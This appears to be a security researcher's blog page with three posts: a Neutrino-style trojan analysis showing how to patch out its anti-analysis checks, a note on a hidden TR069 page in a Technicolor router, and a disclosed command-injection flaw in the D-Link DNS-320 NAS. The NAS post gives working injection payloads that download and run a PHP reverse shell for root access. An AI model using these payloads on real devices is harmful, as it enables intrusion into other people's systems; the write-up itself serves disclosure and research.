Analysis of a Win32 (Neutrino?)/n3nmtx Trojan

I detected this piece a while ago, but didn't have time to get deeper into it. The detections of the malware sample are quite generic, so for the purpose of this post I'll name it "n3nmtx", based on the mutex it creates at the beginning of the execution. More details on the name at the end of the post.

This sample caught my attention because of the huge number of anti-analysis tricks it deploys. Actually, some of them are stolen from pafish, which makes me feel really bad and forces me to do the proper analysis.

Anti-analysis tricks

Basically we will need to comply with some conditions to make the malware run. At the beginning of the execution, it will sleep for 0x2710 (10000), then it will do a call to 0x400, which is the function that contains all anti-analysis tricks. If that procedure doesn't complain, it will check for internet connection. If it can't connect, the execution will come back to the beginning of the loop procedure.

So, instead of patching the whole system to run it, we will patch the malware itself (:D), and radare2 will help us!

To patch the sleep time, the best we can do is going to the value and change it for something smaller, let's say 0x05. So we copy the binary and open it with r2 in write mode:

$ r2 -w original_patch.exe

Let's seek the address of the sleep value:

[0x0040a3fa]> s 0x00004f32

And in visual mode (V), using the cursor, we can +/- the push value.

We do the same with the other sleep, and we're done.

radiff2 is quite handy to confirm the changes:

$ radiff2 original.exe original_patch.exe
0x00004f32 1027 => 0500 0x00004f32
0x00004fb7 1027 => 0500 0x00004fb7

Great, no more sleeps.

The anti-analysis procedure is just a call, and it doesn't check any return value. If it would, we could patch the conditional jmp, but as it doesn't, we will just put some NOPs there.

Open the file in write mode again, knowing where to put the NOPs and how many of them ...

[0x0040a3fa]> wx 9090909090 @0x00004f0d

And in visual mode we can confirm that the procedure will never be executed, and also that we didn't mess up the opcodes.

At this moment, the malware will run instantly in any system, including sandboxes!

Startup

To stay alive after reboots, it creates some entries in the registry, common stuff.

Communication with CnC

The communication with the CnC is done via HTTP requests. It will basically send pings and ask for tasks to do.

The task delivery is interesting because the server will answer with a 404 response, but at the end of the content we can find the command sent to the bot in base64.

Commands

The commands accepted by the bot are:

rate
update
loader
findfile
cmd
visit
open
spread
archive
usb
botkiller
http
slow
dwflood
tcp
udp
smart
https
keylogger

Most of them are self-explanatory.

Conclusion

I want to keep this short because while I was redacting the post, I found some public information about the piece.

You can check this McAfee post for more detail on the anti-analysis techniques.

This bot seems to be part of a Neutrino botnet, Kafeine also wrote about it, but hashes and CnC are different.

My hashes are:

8130f713b2464c77c6500d5d8d37a4b3e3c0e98f2607ca4262a87ee6ae0e88c3 <- the sample used for the post

eeb07cb8aa2cf2bee7b4a893892c08b9d39e90614bf2ff1d0f93a29f97f6815b

You can find them in VT or in our beloved Zoo :)

Friendly note for Technicolor TD 5130 owners

For some reason, I ended up with this SOHO router. It has been deployed by one of the biggest ISPs in Spain for some time (I've no idea if it's still being distributed). I bought it in a second hand store to configure it with my current ISP, and it ended up being a good device.

The firmware it had when I got it was quite bad, lots of configuration parameters missing, slow interface, ... So I surfed the Internet for a better solution.

At some point of my journey, I found this website (http://www.speedtouch.com.br/td5130.htm), which seems to be the Brazilian Technicolor site, and offers a firmware download. This firmware is for the Brazilian GVT ISP.

TD5130 V2.05.C17GVD (GVT) (SHA1 904d8d9153b3e0b90165e973cd5a29553a6933cc).

In this case the panel is "as is", with all advanced options, which is a much better solution for my use case.

At this point, I wanted to know the mechanisms of the router under the hood, so I started extracting the filesystem. It is an embedded Linux system, MIPS architecture.

I didn't find nasty tricks (yet?), but one thing caught my attention. There is a specific configuration panel that is not present in the regular panel tabs or buttons. This panel contains the TR069 settings, which is a protocol that basically gives the ISP control over your router to perform diagnostics, upgrade or change your firmware, and monitor your device.

This is what they use when you have a problem and call the support center, but I guess not all people want this protocol enabled (which is the default).

Anyway, to access this setting you have to login in your router and directly open the url http://192.168.1.1/tools/tools_tr069_setting.shtml

There you can enable/disable the protocol, change and see settings, ...

It's needless to say that I'm not responsible of your actions, so if you completely mess it up, and the router doesn't work anymore, deal with it.

Regarding the device it's quite simple, the configuration gives you a lot of possibilities, and I can't complain about the overall performance.

How I got a root shell in my NAS

Some time ago I bought a D-Link 2-Bay NAS (Network-attached storage), pretty awesome to set up two mirrored HDDs and save my backups. It's a D-Link DNS-320 model, very popular and sold until recently, that was discontinued.

One day, I realized that my firmware version was outdated (oh my!) so I decided to update it to the latest version. One thing led to another, and I end up with a root shell in the device, here is how.

The firmware version is 2.03 (MD5 85c8db69504c37ab1840850f7a7038a1 - DNS-320_fw_2.03b03), the latest for this device released on 13 May 2013. Download here.

The first thing I did was to extract the filesystem of the device from the firmware image. I'm going to be really quick on this, using some binwalk-fu, dd-fu and firmware-mod-kit-fu, it's not really difficult to get it.

Using binwalk we can see the different structures embedded in the firmware image.

Click to enlarge

The interesting part is @ 0x3C4740, where we can find a Squashfs filesystem, very used in embedded devices. We have to cut from there with dd, and extract the new image. To be said that to extract the Squashfs filesystem I had to use the unsquashfs_all.sh script included in firmware-mod-kit because of the different and painful existing implementations.

After that? We just got it!

We will find a bunch of ARM binaries: ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.14, stripped

Some of them stripped, some of them not, sometimes we will have debug symbols to help us.

The processor assembled in the device is an ARM926EJ-S rev 1 (v5l).

After a walk around the system, I started to stare at /cgi/ binaries, those in charge of user web panel interaction. Could I have some fun with these? Of course I can! Lets have a look at how dynamic DNS configuration is made in the Networking Configuration section of the panel.

For networking configuration, D-Link developers have placed an additional binary in the middle of the cgi binary and the system network commands, this binary is cmd_network, and it accepts the following commands:

cgi_ddns
cgi_speed
cgi_re_config
cmd_re_ddns
cmd_dhcp_xml
cmd_change_ip_update_file
cmd_default_ip
set_xml

Said this, here is how dynamic DNS is configured from the user to the system:

 

The red painted calls are performed using a system() call to the program with the parameters provided by the user. IDA can give us a good overview of this behavior:

network_mgr.cgi binary


cmd_network binary

There is no filter of what characters the user can provide at the binaries level (no sanitization of the input), so we are in front of an OS command injection vulnerability.

I tried to inject a test command to exploit the vulnerability, but this is what happened:

Blank spaces are filtered at the web level, and we need them to inject useful commands. We will need to prove our command-line-fu to get rid of this problem. After some training, here is the trick:

To execute ";wget 192.168.1.6" with no blank spaces, we can use ";CMD=$'\x20192.168.1.6/';wget$CMD".

We know the NAS has wget available to be used, and as it is connected to the network we can listen in another box in the port 80 with netcat to check if our commands are being successfully executed.

So there we go ... ;CMD=$'\x20192.168.1.6/';wget$CMD in the host field ... and ...

YAY! We have received the wget petition on the other side, so our commands are being executed properly!

Now we just need to execute a payload capable of giving us a shell. We have php command available, so we can upload a php reverse connection shell script and listen for the shell on the other side. Lets have a try with this one.

First, we upload the reverse shell somewhere to download it to the NAS using wget again. Then, we download it to /tmp/ with .php extension:

"wget 192.168.1.6/rs.txt -O /tmp/rs.php" payload would look like ...

;CMD=$'\x20192.168.1.6/rs.txt\x20-O\x20/tmp/rs.php';wget$CMD

Now we should have our php reverse shell script stored in /tmp/rs.php, so time to run it:

;CMD=$'\x20/tmp/rs.php';php$CMD

Then we listen in port 1234 on the other side to wait for the reverse shell, which is configured to connect to the IP of this machine to port 1234.

There we go, we have a root shell in our device! uid=0(root) gid=0(root).

Vulnerability timeline:

I tried to address D-Link this and other issue present in this product. They have no bug bounty program at the moment, and somewhere in the report thread they just lost the conversation. As the product is end of life, and this exploit requires authentication, I released the vulnerability to the public in this post. The vulnerabilities are probably inherited by new models, this should be taken in consideration.

16 Aug 2013 - Vulnerability reported to security contact.

17 Aug 2013 - Security contact replies and we start to discuss about it.

22 Aug 2013 - I am forwarded to another security/engineering contact to finally report the vulnerability.

Today (post date) - No new contact from them.

Newer posts →Home